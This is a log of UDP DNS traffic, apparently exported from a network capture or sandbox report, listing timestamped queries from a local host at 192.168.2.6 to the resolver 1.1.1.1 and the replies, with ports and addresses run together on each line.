                                                                                                                                                                                                          Nov 11, 2024 18:13:23.996541977 CET5094753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.996728897 CET5314753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:23.997545004 CET5847453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.001290083 CET5422853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.006005049 CET53553641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.010194063 CET53584741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.010629892 CET53542281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.019299984 CET6091653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.019475937 CET6508653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.019608021 CET6215353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.025182009 CET53604271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.027214050 CET53509471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.027487993 CET53531471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.029839039 CET53650861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.031019926 CET53621531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.031068087 CET6510453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.031466007 CET5354753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.040637016 CET53651041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.040940046 CET5798853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.041786909 CET53535471.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.047615051 CET5452753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.047782898 CET5210853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.047957897 CET5635053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.048141003 CET6539053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.048532963 CET5851253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.049130917 CET4945853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.049990892 CET5799153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.050559998 CET53609161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.050966024 CET53579881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.053244114 CET5288253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.053286076 CET5417253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.053908110 CET5984653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.054091930 CET5724653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.055166960 CET4995853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.057480097 CET53545271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.058725119 CET53563501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.059501886 CET53579911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.063960075 CET53541721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065259933 CET5855753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065427065 CET6338753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065562963 CET5455953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.065689087 CET5298553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.067270994 CET53572461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.069307089 CET5492653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.069528103 CET6009253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.070024014 CET6415953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.070595980 CET6202953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.070928097 CET6172353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071105003 CET6322253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071130991 CET5891753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071434975 CET5962253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071600914 CET5957753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071619987 CET5911253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071773052 CET6445553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.071963072 CET6253353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072037935 CET6207553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072139025 CET6272953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072237968 CET5810453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.072560072 CET5768353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.073503971 CET53528821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.073774099 CET53499581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.075752974 CET53585571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077066898 CET6108453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077099085 CET6365153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077290058 CET6529553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.077455044 CET5868153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.078195095 CET6390753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.078632116 CET53549261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.079226971 CET53653901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.079935074 CET53641591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.079947948 CET53494581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.080070019 CET53521081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.080240965 CET53600921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.080252886 CET53620291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.080879927 CET53585121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.082138062 CET53644551.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.082501888 CET53576831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.082514048 CET53625331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.082943916 CET53620751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.082956076 CET53596221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.083508968 CET53617231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.083719969 CET53633871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.084719896 CET53598461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.087094069 CET53652951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.087105036 CET53636511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.087383032 CET53610841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.088143110 CET53639071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.089390993 CET53589171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.091228962 CET6157453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.092242956 CET6468153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.093276978 CET6401653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.094023943 CET5414553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.094507933 CET6303353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.094858885 CET6017453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.095326900 CET6390553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.095732927 CET6398153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.096141100 CET6128653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.096286058 CET4969853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.096904039 CET53545591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.097125053 CET5369853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.097140074 CET53529851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.101762056 CET53632221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.101893902 CET53640161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.102504015 CET53615741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.102742910 CET53591121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.103481054 CET53627291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.103497982 CET53595771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.104176044 CET53581041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.106076002 CET53639811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.106627941 CET53630331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.106646061 CET53496981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.107695103 CET53612861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.110003948 CET53586811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.122879028 CET4963253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.123552084 CET5648753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.124219894 CET6122953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.124491930 CET53646811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.124783039 CET6470353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.126101017 CET53541451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.127789021 CET53639051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.127985001 CET53601741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.128516912 CET53536981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.132668972 CET53496321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.135754108 CET53564871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.136796951 CET53647031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.155124903 CET53612291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.306117058 CET5733453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.316440105 CET53573341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.352463961 CET5941453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.352889061 CET6480653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.353147984 CET5575853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.353780031 CET6007253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.361932039 CET53594141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.363503933 CET53648061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.364428043 CET5753353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.366138935 CET53600721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.374419928 CET53575331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.384500027 CET53557581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.429524899 CET6539953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.430450916 CET5746953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.438030958 CET53574691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.439718962 CET53653991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.451035023 CET6338053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.461639881 CET53633801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.492595911 CET5000853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.501416922 CET53500081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.544589996 CET5299953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.556915998 CET53529991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.577333927 CET5915653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.577605009 CET6095253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.577912092 CET5178553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.578099966 CET5358853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.578514099 CET6443053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.578824043 CET5268553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579011917 CET6304253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579291105 CET6389353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579472065 CET5555853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579946995 CET6501953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.580118895 CET5219453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.584762096 CET5238953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.584822893 CET53591561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.584958076 CET5650053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.585444927 CET6489253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.586327076 CET5258753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.588254929 CET53644301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.589390993 CET53517851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.589658976 CET53526851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.589958906 CET53630421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.590090036 CET53650191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.594120979 CET53523891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.595376015 CET53648921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.596271038 CET53565001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.600322962 CET5596553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.600658894 CET5827953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.601269007 CET5547853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.601499081 CET5077753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.601644039 CET5121453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.602631092 CET4954653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608033895 CET4942753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608212948 CET5315253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608371019 CET53609521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608509064 CET5557053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608972073 CET6101853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.609133959 CET4981553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.609164000 CET53507771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.610882998 CET53535881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.611550093 CET53638931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.611807108 CET53521941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.611816883 CET53555581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.612587929 CET53495461.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.612597942 CET53582791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.617588043 CET5979253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.617686987 CET53525871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.618006945 CET6294353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.618648052 CET6424253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.618721008 CET53531521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.619776964 CET5557753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.621510983 CET5963553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.622495890 CET5276753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.622875929 CET6211053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.623488903 CET5875253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.624118090 CET6339653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.624696016 CET5984353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.627197981 CET6073353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.628998041 CET6200253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.629359961 CET53597921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.629658937 CET6112553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.630024910 CET53642421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.630122900 CET5591053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.630774021 CET5779053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.631175995 CET53559651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.631922960 CET53596351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.632154942 CET53554781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.632165909 CET53621101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.632230043 CET5524553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.632740021 CET53512141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.632750988 CET53527671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.633380890 CET53587521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.634048939 CET53633961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.634310961 CET5614953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.634625912 CET6371953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.634912014 CET6444353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.635632038 CET5633753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.635870934 CET4954053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.636069059 CET5559353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.636347055 CET5919853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.636671066 CET6342253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.637413979 CET6113153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.637691021 CET5358353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.637768984 CET5961053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.638343096 CET5881253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.638355970 CET53620021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639013052 CET5022553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639095068 CET5747253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639386892 CET53559101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639556885 CET53611251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639686108 CET53494271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639698029 CET5587853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639832973 CET53498151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639844894 CET53555701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.640818119 CET53610181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.640907049 CET5748253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.642163038 CET53552451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.643913984 CET53561491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.644639015 CET53637191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.644756079 CET6176053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.646224022 CET53591981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.646341085 CET53555931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.646445036 CET53634221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.646795988 CET53596101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.647716045 CET53535831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.648986101 CET53502251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.650264025 CET53574721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.650969028 CET53629431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.650979996 CET53574821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.651376963 CET53555771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.655318975 CET53611311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.655736923 CET53617601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.656189919 CET53598431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.656203032 CET53588121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.658483028 CET53607331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.662513971 CET6100353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.663283110 CET53577901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.665824890 CET53495401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.665837049 CET53644431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.666150093 CET6215253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.669975042 CET53563371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.671930075 CET53558781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.695014000 CET53610031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.696867943 CET53621521.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.777339935 CET5639053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.780863047 CET5392353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.784533024 CET6110553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.787395000 CET53563901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.792524099 CET53539231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.795325041 CET4975153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.795705080 CET5736653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.802500963 CET6053653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.802690029 CET53497511.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.802747011 CET6483353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.805619001 CET53573661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.813952923 CET53605361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.816951990 CET53611051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.835838079 CET53648331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.857240915 CET5896853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.897624016 CET5402553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.905401945 CET53540251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.938561916 CET5860253192.168.2.61.1.1.1
